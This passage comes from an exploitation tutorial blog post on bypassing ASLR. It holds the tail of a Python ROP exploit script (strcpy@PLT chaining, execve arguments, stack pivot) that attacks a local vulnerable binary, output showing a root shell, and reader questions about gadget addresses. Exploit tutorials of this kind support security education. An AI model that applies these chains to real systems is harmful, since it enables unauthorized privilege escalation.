buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
#Stack Pivot
buf += conv(pr_addr)
buf += conv(cust_base_esp)
buf += conv(lr_addr)

print "Calling vulnerable program"
call(["./vuln", buf])

Executing above exploit code gives us root shell (as shown below):

$ python exp.py 
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��ᆳ�ᆳ�ᆳ�ͅᆳހ�����ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳޢ�@���0�����Ѓ΅d�ˁЃ΅e�U�Ѓ΅f�0�Ѓ΅g�C�Ѓ΅h�܃Ѓ΅i�U�Ѓ΅j�0�Ѓ΅k�C�Ѓ΅l�`�Ѓ΅m�`�Ѓ΅n�`�Ѓ΅o�`�Ѓ΅p���Ѓ΅q�Ѓ΅r�0�Ѓ΅s�C�Ѓ΅t���Ѓ΅u�Ѓ΅v�0�Ѓ΅w�C�Ѓ΅x�`�Ѓ΅y�`�Ѓ΅z�`�Ѓ΅{�`�Ѓ΅`�T�Ѓ΅a�W�Ѓ΅b�V�Ѓ΅c�^�Ѓ΅d�T�Ѓ΅e�b�Ѓ΅f���Ѓ΅h���Ѓ΅i�Ѓ΅j�0�Ѓ΅k�C�Ѓ΅l�`�Ѓ΅m�`�Ѓ΅n�`�Ѓ΅o�`���`�i�
Len:1008
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

Reference:

5 thoughts on “Bypassing ASLR – Part III

  1. I have a question, if it’s not too late…

    1) In first exploit code in the “manual ROP gadget search” section, why do you even use G2? Don’t you just need to pop a value into `%ebx`? Shouldn’t G5 take care of that in one pop. Is `%ebp` needed for anything?

    2) Why is G1 the `add %eax, 0x5D5B04C4(%ebx)` operation? Shouldn’t it be the gadget 1 from the GOT dereference section, ‘addl -0x0B8A0008(%ebx)`? Or is the manual top gadget search section a manual way of doing the GOT overwrite, not the dereference?

    Thanks for the help!

    Like

  2. hello, i have a problem.in your exploit code.
    #seteuid@PLT 0x80483c0
    seteuid_oct1 = 0x8048143 #08
    seteuid_oct2 = 0x8048130 #04
    seteuid_oct3 = 0x8048355 #83
    seteuid_oct4 = 0x80481cb #c0
    above ,how to acquire the address of each value.i use rp++ and and the argument search-int . the binary file is vuln. but i can’t find these values. could you tell me your detailed method please

    Like

Leave a comment